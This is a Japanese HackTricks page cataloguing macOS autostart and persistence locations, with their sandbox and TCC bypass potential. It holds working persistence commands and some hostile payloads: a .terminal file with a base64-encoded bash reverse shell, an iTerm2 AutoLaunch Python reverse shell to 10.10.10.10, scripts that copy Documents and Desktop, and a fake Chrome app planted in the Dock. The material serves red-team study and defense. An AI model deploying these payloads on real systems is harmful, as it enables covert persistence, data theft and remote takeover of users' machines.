macOS Auto Start

htARTE(HackTricks AWS Red Team Expert) を通じてゼロからヒーローまでAWSハッキングを学ぶ

HackTricksをサポートする他の方法:

このセクションは、ブログシリーズBeyond the good ol' LaunchAgentsに大きく基づいており、目標はAutostart Locationsを追加(可能であれば)、最新バージョンのmacOS(13.4)で動作しているテクニックを示し、必要な権限を指定することです。

サンドボックス回避

ここでは、サンドボックス回避に役立つ起動場所を見つけることができます。これにより、ファイルに書き込んで、非常に一般的な アクション、特定の時間、または通常ルート権限が必要ないサンドボックス内で実行できるアクション待機**することができます。

Launchd

  • サンドボックス回避に役立つ:

  • TCCバイパス:🔴

場所

  • /Library/LaunchAgents

    • トリガー:再起動

    • ルート権限が必要

  • /Library/LaunchDaemons

    • トリガー:再起動

    • ルート権限が必要

  • /System/Library/LaunchAgents

    • トリガー:再起動

    • ルート権限が必要

  • /System/Library/LaunchDaemons

    • トリガー:再起動

    • ルート権限が必要

  • ~/Library/LaunchAgents

    • トリガー:再ログイン

  • ~/Library/LaunchDemons

    • トリガー:再ログイン

説明と悪用

launchdは、OX Sカーネルによって起動時に最初に実行され、シャットダウン時に最後に終了するプロセスです。常にPID 1を持っている必要があります。このプロセスは、ASEP plistsに示された構成を読み取り実行します。

  • /Library/LaunchAgents:管理者によってインストールされたユーザーごとのエージェント

  • /Library/LaunchDaemons:管理者によってインストールされたシステム全体のデーモン

  • /System/Library/LaunchAgents:Appleによって提供されるユーザーごとのエージェント

  • /System/Library/LaunchDaemons:Appleによって提供されるシステム全体のデーモン

ユーザーがログインすると、/Users/$USER/Library/LaunchAgentsおよび/Users/$USER/Library/LaunchDemonsにあるplistsログインユーザーの権限で開始されます。

エージェントとデーモンの主な違いは、エージェントはユーザーがログインすると読み込まれ、デーモンはシステムの起動時に読み込まれることです(システムにアクセスする前にsshなどのサービスが実行される必要があるため)。また、エージェントはGUIを使用できますが、デーモンはバックグラウンドで実行する必要があります。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.someidentifier</string>
<key>ProgramArguments</key>
<array>
<string>bash -c 'touch /tmp/launched'</string> <!--Prog to execute-->
</array>
<key>RunAtLoad</key><true/> <!--Execute at system startup-->
<key>StartInterval</key>
<integer>800</integer> <!--Execute each 800s-->
<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key></false> <!--Re-execute if exit unsuccessful-->
<!--If previous is true, then re-execute in successful exit-->
</dict>
</dict>
</plist>

いくつかのケースでは、ユーザーがログインする前にエージェントを実行する必要がある場合があります。これらはPreLoginAgentsと呼ばれます。たとえば、これはログイン時に支援技術を提供するのに役立ちます。/Library/LaunchAgentsにも見つけることができます(こちらを参照)。

新しいデーモンやエージェントの構成ファイルは、次回の再起動後またはlaunchctl load <target.plist>を使用してロードされます.plistの拡張子なしで.plistファイルをロードすることも可能ですが、(ただし、これらの.plistファイルは再起動後に自動的にロードされません)。 launchctl unload <target.plist>アンロードすることも可能です(それを指すプロセスは終了します)。

エージェントまたはデーモン実行されるのを妨げる(オーバーライドなど)何もないこと確認するには、次のコマンドを実行します:sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist

現在のユーザーによってロードされているすべてのエージェントとデーモンをリストアップします:

launchctl list

もしplistがユーザーに所有されている場合、それがデーモンシステムワイドフォルダにあっても、タスクはユーザーとして実行され、rootとして実行されません。これにより特権昇格攻撃を防ぐことができます。

シェル起動ファイル

解説: https://theevilbit.github.io/beyond/beyond_0001/ 解説 (xterm): https://theevilbit.github.io/beyond/beyond_0018/

  • サンドボックスをバイパスするのに便利:

  • TCCバイパス:

  • ただし、これらのファイルを読み込むシェルを実行するTCCバイパスを持つアプリを見つける必要があります

ロケーション

  • ~/.zshrc, ~/.zlogin, ~/.zshenv.zwc, ~/.zshenv, ~/.zprofile

  • トリガー: zshでターミナルを開く

  • /etc/zshenv, /etc/zprofile, /etc/zshrc, /etc/zlogin

  • トリガー: zshでターミナルを開く

  • root権限が必要

  • ~/.zlogout

  • トリガー: zshでターミナルを終了する

  • /etc/zlogout

  • トリガー: zshでターミナルを終了する

  • root権限が必要

  • 他にもあるかもしれない: man zsh

  • ~/.bashrc

  • トリガー: bashでターミナルを開く

  • /etc/profile (動作せず)

  • ~/.profile (動作せず)

  • ~/.xinitrc, ~/.xserverrc, /opt/X11/etc/X11/xinit/xinitrc.d/

  • トリガー: xtermでトリガーされると予想されていますが、インストールされていません。インストール後もこのエラーが表示されます: xterm: DISPLAY is not set

説明と悪用

zshbashなどのシェル環境を初期化するとき、特定の起動ファイルが実行されます。macOSは現在、デフォルトシェルとして/bin/zshを使用しています。このシェルは、Terminalアプリケーションが起動されたときやデバイスがSSH経由でアクセスされたときに自動的にアクセスされます。bashshもmacOSに存在しますが、使用するには明示的に呼び出す必要があります。

man zshで読むことができるzshのmanページには、起動ファイルの詳細な説明があります。

# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc

再オープンされたアプリケーション

指定された悪用の設定とログアウト、ログイン、または再起動を行っても、アプリを実行することができませんでした。(アプリが実行されていなかった可能性があります。これらのアクションが実行されるときに実行される必要があるかもしれません)

Writeup: https://theevilbit.github.io/beyond/beyond_0021/

  • サンドボックスをバイパスするのに便利:

  • TCCバイパス: 🔴

位置

  • ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

  • トリガー: アプリケーションの再オープンを再起動

説明と悪用

再オープンするすべてのアプリケーションは、plist ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist内にあります。

したがって、再オープンされるアプリケーションに自分のアプリを起動させるには、アプリをリストに追加するだけです。

UUIDは、そのディレクトリをリストアップするか、ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'で見つけることができます。

再オープンされるアプリケーションを確認するには、次の操作を行います:

defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

このリストにアプリケーションを追加するには、次の方法を使用できます:

# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

ターミナルの設定

  • サンドボックスをバイパスするのに便利:

  • TCCバイパス:

  • ユーザーが使用する場合、ターミナルはFDA権限を持つ

位置

  • ~/Library/Preferences/com.apple.Terminal.plist

  • トリガー: ターミナルを開く

説明と悪用

~/Library/Preferences には、アプリケーションのユーザーの設定が保存されています。これらの設定の一部には、他のアプリケーション/スクリプトを実行する構成が含まれることがあります。

たとえば、ターミナルは起動時にコマンドを実行できます:

この設定は、ファイル ~/Library/Preferences/com.apple.Terminal.plist に次のように反映されます:

[...]
"Window Settings" => {
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
[...]

Japanese translation:

したがって、システム内のターミナルの設定のplistが上書きされると、**`open`**機能を使用して**ターミナルを開き、そのコマンドが実行されます**

これをcliから追加することができます:

<div data-gb-custom-block data-tag="code" data-overflow='wrap'>
# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist

# Remove
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist

ターミナルスクリプト / その他のファイル拡張子

  • サンドボックスをバイパスするのに便利:

  • TCCバイパス:

  • ターミナルを使用してユーザーがFDA権限を持つ

位置

  • どこでも

  • トリガー: ターミナルを開く

説明と悪用

**.terminal**スクリプトを作成して開くと、ターミナルアプリケーションが自動的に起動され、そこで指定されたコマンドが実行されます。ターミナルアプリに特別な権限(TCCなど)がある場合、その特別な権限でコマンドが実行されます。

以下で試してみてください:

# Prepare the payload
cat > /tmp/test.terminal << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommandString</key>
<string>mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
EOF

# Trigger it
open /tmp/test.terminal

# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>

オーディオプラグイン

解説: https://theevilbit.github.io/beyond/beyond_0013/ 解説: https://posts.specterops.io/audio-unit-plug-ins-896d3434a882

  • サンドボックスをバイパスするのに便利:

  • TCCバイパス: 🟠

  • いくつかの追加のTCCアクセスを取得する可能性があります

位置

  • /Library/Audio/Plug-Ins/HAL

  • ルート権限が必要

  • トリガー: coreaudiodまたはコンピューターを再起動

  • /Library/Audio/Plug-ins/Components

  • ルート権限が必要

  • トリガー: coreaudiodまたはコンピューターを再起動

  • ~/Library/Audio/Plug-ins/Components

  • トリガー: coreaudiodまたはコンピューターを再起動

  • /System/Library/Components

  • ルート権限が必要

  • トリガー: coreaudiodまたはコンピューターを再起動

説明

以前の解説によると、いくつかのオーディオプラグインをコンパイルしてロードすることが可能です。

QuickLookプラグイン

解説: https://theevilbit.github.io/beyond/beyond_0028/

  • サンドボックスをバイパスするのに便利:

  • TCCバイパス: 🟠

  • いくつかの追加のTCCアクセスを取得する可能性があります

位置

  • /System/Library/QuickLook

  • /Library/QuickLook

  • ~/Library/QuickLook

  • /Applications/AppNameHere/Contents/Library/QuickLook/

  • ~/Applications/AppNameHere/Contents/Library/QuickLook/

説明と悪用

QuickLookプラグインは、ファイルのプレビューをトリガーし(Finderでファイルを選択してスペースバーを押す)、そのファイルタイプをサポートするプラグインがインストールされている場合に実行されます。

独自のQuickLookプラグインをコンパイルし、前述のいずれかの場所に配置してロードし、サポートされるファイルに移動してスペースを押してトリガーすることが可能です。

ログイン/ログアウトフック

私にはうまくいきませんでした。ユーザーログインフックでもルートログアウトフックでもありませんでした

解説: https://theevilbit.github.io/beyond/beyond_0022/

  • サンドボックスをバイパスするのに便利:

  • TCCバイパス: 🔴

位置

  • defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.shのようなコマンドを実行できる必要があります

  • ~/Library/Preferences/com.apple.loginwindow.plistにあります

これらは非推奨ですが、ユーザーがログインするときにコマンドを実行するために使用することができます。

cat > $HOME/hook.sh << EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh

この設定は/Users/$USER/Library/Preferences/com.apple.loginwindow.plistに保存されています。

defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
}

削除するには:

defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook

**/private/var/root/Library/Preferences/com.apple.loginwindow.plist**に格納されているのは、rootユーザーのものです。

条件付きサンドボックス回避

ここでは、サンドボックス回避に役立つ起動場所を見つけることができます。これにより、ファイルに書き込んで単純に実行することができ、特定のインストールされたプログラム、"一般的でない"ユーザーのアクションや環境のような非常に一般的でない条件を期待することができます。

Cron

解説: https://theevilbit.github.io/beyond/beyond_0004/

  • サンドボックス回避に役立つ:

  • ただし、crontabバイナリを実行できる必要があります

  • またはrootである必要があります

  • TCC回避: 🔴

場所

  • /usr/lib/cron/tabs/, /private/var/at/tabs, /private/var/at/jobs, /etc/periodic/

  • 直接書き込みアクセスにはrootが必要です。crontab <file>を実行できる場合はrootは必要ありません

  • トリガー: cronジョブに依存します

説明と悪用

現在のユーザーのcronジョブをリストアップするには:

crontab -l

MacOSでは、**/usr/lib/cron/tabs//var/at/tabs/**にユーザーのすべてのcronジョブを見ることができます(root権限が必要です)。

MacOSでは、特定の頻度でスクリプトを実行するいくつかのフォルダが次の場所にあります:

# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/

以下では、通常のcron ジョブ、あまり使用されていないat ジョブ、および一時ファイルのクリーニングに主に使用されるperiodic ジョブが見つかります。 日次のperiodicジョブは、例えば次のように実行できます:periodic daily

ユーザーのcronジョブをプログラムで追加するには、次のようにすることができます:

echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron

iTerm2

Writeup: https://theevilbit.github.io/beyond/beyond_0002/

  • 便利なサンドボックス回避:

  • TCCバイパス:

  • iTerm2はTCC権限を付与していました

ロケーション

  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch

  • トリガー: iTermを開く

  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt

  • トリガー: iTermを開く

  • ~/Library/Preferences/com.googlecode.iterm2.plist

  • トリガー: iTermを開く

説明と悪用

**~/Library/Application Support/iTerm2/Scripts/AutoLaunch**に保存されたスクリプトが実行されます。例えば:

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF

chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"

または:

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os

async def main(connection):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)

iterm2.run_forever(main)
EOF

スクリプト ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt も実行されます:

do shell script "touch /tmp/iterm2-autolaunchscpt"

iTerm2の設定は**~/Library/Preferences/com.googlecode.iterm2.plistにあり、iTerm2ターミナルが開かれるときに実行するコマンドを示す**ことができます。

この設定はiTerm2の設定で構成できます:

そして、コマンドは設定に反映されます:

plutil -p com.googlecode.iterm2.plist
{
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"

次のようにして、実行するコマンドを設定できます:

# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist

# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2

# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist

iTerm2の設定を悪用する他の方法が非常に可能性が高いです。

xbar

解説: https://theevilbit.github.io/beyond/beyond_0007/

  • サンドボックスをバイパスするのに便利:

  • ただし、xbarをインストールする必要があります

  • TCCバイパス:

  • アクセシビリティ権限が必要です

位置

  • ~/Library/Application\ Support/xbar/plugins/

  • トリガー: xbarが実行されるとき

説明

人気のあるプログラム xbar がインストールされている場合、~/Library/Application\ Support/xbar/plugins/ にシェルスクリプトを記述することが可能で、xbarが起動されると実行されます:

cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"

Hammerspoon

解説: https://theevilbit.github.io/beyond/beyond_0008/

  • サンドボックスをバイパスするのに便利:

  • ただし、Hammerspoonをインストールする必要があります

  • TCCバイパス:

  • アクセシビリティ権限が必要です

位置

  • ~/.hammerspoon/init.lua

  • トリガー: Hammerspoonが実行されるとき

説明

Hammerspoon は、macOS向けの自動化プラットフォームとして機能し、LUAスクリプト言語を活用しています。特筆すべきは、完全なAppleScriptコードの統合とシェルスクリプトの実行をサポートし、スクリプトの機能を大幅に向上させています。

このアプリは、単一のファイルである ~/.hammerspoon/init.lua を探し、スクリプトが実行されます。

mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
EOF

BetterTouchTool

  • 便利なサンドボックス回避方法:

  • ただし、BetterTouchToolをインストールする必要があります

  • TCCバイパス:

  • Automation-ShortcutsおよびAccessibility権限が必要です

位置

  • ~/Library/Application Support/BetterTouchTool/*

このツールは、特定のショートカットが押されたときにアプリケーションやスクリプトを実行することができます。攻撃者は、データベース内で独自のショートカットとアクションを設定して任意のコードを実行する可能性があります(ショートカットは単にキーを押すだけでも可能です)。

Alfred

  • 便利なサンドボックス回避方法:

  • ただし、Alfredをインストールする必要があります

  • TCCバイパス:

  • Automation、Accessibility、さらにはFull-Diskアクセス権限が必要です

位置

  • ???

特定の条件が満たされたときにコードを実行できるワークフローを作成できます。攻撃者がワークフローファイルを作成し、Alfredがそれをロードする可能性があります(ワークフローを使用するにはプレミアムバージョンを購入する必要があります)。

SSHRC

解説: https://theevilbit.github.io/beyond/beyond_0006/

  • 便利なサンドボックス回避方法:

  • ただし、sshを有効にして使用する必要があります

  • TCCバイパス:

  • SSHはFDAアクセスを持っている必要があります

位置

  • ~/.ssh/rc

  • トリガー: ssh経由でログイン

  • /etc/ssh/sshrc

  • ルート権限が必要

  • トリガー: ssh経由でログイン

sshをオンにするにはFull Disk Accessが必要です:

sudo systemsetup -setremotelogin on

説明 & Exploitation

デフォルトでは、/etc/ssh/sshd_config内でPermitUserRC noが指定されていない限り、ユーザがSSH経由でログインすると、スクリプト**/etc/ssh/sshrc~/.ssh/rc**が実行されます。

ログインアイテム

Writeup: https://theevilbit.github.io/beyond/beyond_0003/

  • サンドボックスをバイパスするのに便利:

  • ただし、osascriptを引数と共に実行する必要があります

  • TCCバイパス: 🔴

ロケーション

  • ~/Library/Application Support/com.apple.backgroundtaskmanagementagent

  • トリガー: ログイン

  • Exploitペイロードは**osascript**を呼び出して保存されています

  • /var/db/com.apple.xpc.launchd/loginitems.501.plist

  • トリガー: ログイン

  • ルート権限が必要

説明

システム環境設定 -> ユーザとグループ -> ログイン項目には、ユーザがログインするときに実行される項目があります。 これらをコマンドラインからリストアップ、追加、削除することが可能です。

#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'

#Add an item:
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'

#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"'

これらのアイテムはファイル**~/Library/Application Support/com.apple.backgroundtaskmanagementagent**に保存されています。

ログインアイテムは、API SMLoginItemSetEnabled を使用して指定することもでき、このAPIは構成を**/var/db/com.apple.xpc.launchd/loginitems.501.plist**に保存します。

ZIPをログインアイテムとして使用する

(ログインアイテムに関する前のセクションを確認してください、これは拡張です)

ZIPファイルをログインアイテムとして保存すると、**Archive Utilityがそれを開きます。たとえば、ZIPファイルが~/Libraryに保存され、バックドアを含むLaunchAgents/file.plist**というフォルダが含まれている場合、そのフォルダが作成され(デフォルトでは作成されません)、plistが追加されるため、次回ユーザーが再ログインすると、plistで指定されたバックドアが実行されます。

別のオプションとして、ユーザーのホームディレクトリに**.bash_profile.zshenv**ファイルを作成することもできます。したがって、LaunchAgentsフォルダがすでに存在する場合でも、このテクニックは機能します。

At

解説: https://theevilbit.github.io/beyond/beyond_0014/

  • サンドボックスをバイパスするのに便利:

  • ただし、atを実行する必要があり、有効である必要があります

  • TCCバイパス: 🔴

位置

  • atを実行する必要があり、有効である必要があります

説明

atタスクは、特定の時間に実行される一度だけのタスクをスケジュールするために設計されています。cronジョブとは異なり、atタスクは自動的に実行後に削除されます。これらのタスクはシステム再起動を超えて永続的であるため、特定の条件下でセキュリティ上の懸念事項としてマークされます。

デフォルトでは無効ですが、rootユーザーは次のコマンドで有効にできます:

sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist

これは1時間後にファイルを作成します。

echo "echo 11 > /tmp/at.txt" | at now+1

atqを使用してジョブキューを確認します:

sh-3.2# atq
26	Tue Apr 27 00:46:00 2021
22	Wed Apr 28 00:29:00 2021

上記では2つのスケジュールされたジョブが表示されています。at -c JOBNUMBERを使用してジョブの詳細を表示できます。

sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
echo 'Execution directory inaccessible' >&2
exit 1
}
unset OLDPWD
echo 11 > /tmp/at.txt

AT タスクが有効になっていない場合、作成されたタスクは実行されません。

ジョブファイル/private/var/at/jobs/にあります。

sh-3.2# ls -l /private/var/at/jobs/
total 32
-rw-r--r--  1 root  wheel    6 Apr 27 00:46 .SEQ
-rw-------  1 root  wheel    0 Apr 26 23:17 .lockfile
-r--------  1 root  wheel  803 Apr 27 00:46 a00019019bdcd2
-rwx------  1 root  wheel  803 Apr 27 00:46 a0001a019bdcd2

ファイル名には、キュー、ジョブ番号、および実行予定時刻が含まれています。例として、a0001a019bdcd2を見てみましょう。

  • a - これはキューです

  • 0001a - 16進数でのジョブ番号、0x1a = 26

  • 019bdcd2 - 16進数での時間。エポック以降の経過分を表します。0x019bdcd2は10進数で26991826です。これを60倍すると1619509560になり、これはGMT: 2021年4月27日、火曜日 7:46:00です。

ジョブファイルを印刷すると、at -cを使用して取得した情報と同じであることがわかります。

フォルダアクション

解説: https://theevilbit.github.io/beyond/beyond_0024/ 解説: https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d

  • サンドボックスをバイパスするのに便利:

  • ただし、**System Events**に連絡するためにosascriptを引数付きで呼び出せる必要があり、フォルダアクションを構成できるようにする必要があります

  • TCCバイパス: 🟠

  • デスクトップ、ドキュメント、ダウンロードなど、いくつかの基本的なTCC権限があります

位置

  • /Library/Scripts/Folder Action Scripts

  • ルートが必要

  • トリガー: 指定されたフォルダへのアクセス

  • ~/Library/Scripts/Folder Action Scripts

  • トリガー: 指定されたフォルダへのアクセス

説明と悪用

フォルダアクションは、フォルダ内の変更(アイテムの追加、削除、フォルダウィンドウの開いたりリサイズなど)によって自動的にトリガーされるスクリプトです。これらのアクションはさまざまなタスクに利用でき、Finder UIやターミナルコマンドを使用してトリガーできます。

フォルダアクションを設定する方法には、次のようなオプションがあります:

  1. Automatorを使用してフォルダアクションワークフローを作成し、サービスとしてインストールする。

  2. フォルダのコンテキストメニュー内のフォルダアクション設定を介してスクリプトを手動で添付する。

  3. プログラムでフォルダアクションを設定するためにSystem Events.appにApple Eventメッセージを送信するためにOSAScriptを利用する。

  • この方法は、アクションをシステムに埋め込んで持続性を提供するのに特に便利です。

以下のスクリプトは、フォルダアクションで実行できる例です:

// source.js
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");

上記のスクリプトをフォルダアクションで使用可能にするには、次のようにコンパイルしてください:

osacompile -l JavaScript -o folder.scpt source.js

スクリプトがコンパイルされた後、以下のスクリプトを実行してフォルダアクションを設定します。このスクリプトはフォルダアクションをグローバルに有効にし、事前にコンパイルされたスクリプトをデスクトップフォルダに特定の添付します。

// Enabling and attaching Folder Action
var se = Application("System Events");
se.folderActionsEnabled = true;
var myScript = se.Script({name: "source.js", posixPath: "/tmp/source.js"});
var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
se.folderActions.push(fa);
fa.scripts.push(myScript);

次のコマンドでセットアップスクリプトを実行します:

osascript -l JavaScript /Users/username/attach.scpt
  • これはGUIを介してこの永続性を実装する方法です:

これが実行されるスクリプトです:

source.js
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");

次のコマンドでコンパイルします: osacompile -l JavaScript -o folder.scpt source.js

次の場所に移動します:

mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"

その後、Folder Actions Setupアプリを開き、監視したいフォルダを選択し、あなたの場合は**folder.scpt**を選択します(私の場合はoutput2.scpと呼びました):

これで、Finderでそのフォルダを開くと、スクリプトが実行されます。

この設定は、base64形式~/Library/Preferences/com.apple.FolderActionsDispatcher.plistに保存されています。

次に、GUIアクセスなしでこの永続性を準備しよう:

  1. **~/Library/Preferences/com.apple.FolderActionsDispatcher.plist**をバックアップするために/tmpにコピーします:

  • cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp

  1. さっき設定したフォルダアクションを削除します:

これで空の環境ができました

  1. バックアップファイルをコピーします:cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/

  2. この設定を適用するためにFolder Actions Setup.appを開きます:open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"

私にはうまくいきませんでしたが、これがライートアップからの指示です:(

Dockショートカット

Writeup: https://theevilbit.github.io/beyond/beyond_0027/

  • サンドボックスをバイパスするのに便利:

  • ただし、システム内に悪意のあるアプリケーションをインストールしている必要があります

  • TCCバイパス: 🔴

位置

  • ~/Library/Preferences/com.apple.dock.plist

  • トリガー: ユーザーがDock内のアプリをクリックしたとき

説明と悪用

Dockに表示されるすべてのアプリケーションは、**~/Library/Preferences/com.apple.dock.plist**内で指定されています。

アプリケーションを追加することが可能です:

# Add /System/Applications/Books.app
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/System/Applications/Books.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'

# Restart Dock
killall Dock

ソーシャルエンジニアリングを使用すると、ドック内でGoogle Chromeを装ったように見せかけて、実際に自分のスクリプトを実行することができます。

#!/bin/sh

# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)

rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null

# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources

# Payload to execute
echo '#!/bin/sh
open /Applications/Google\ Chrome.app/ &
touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF

# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns

# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
killall Dock

カラーピッカー

解説: https://theevilbit.github.io/beyond/beyond_0017

  • サンドボックスをバイパスするのに便利: 🟠

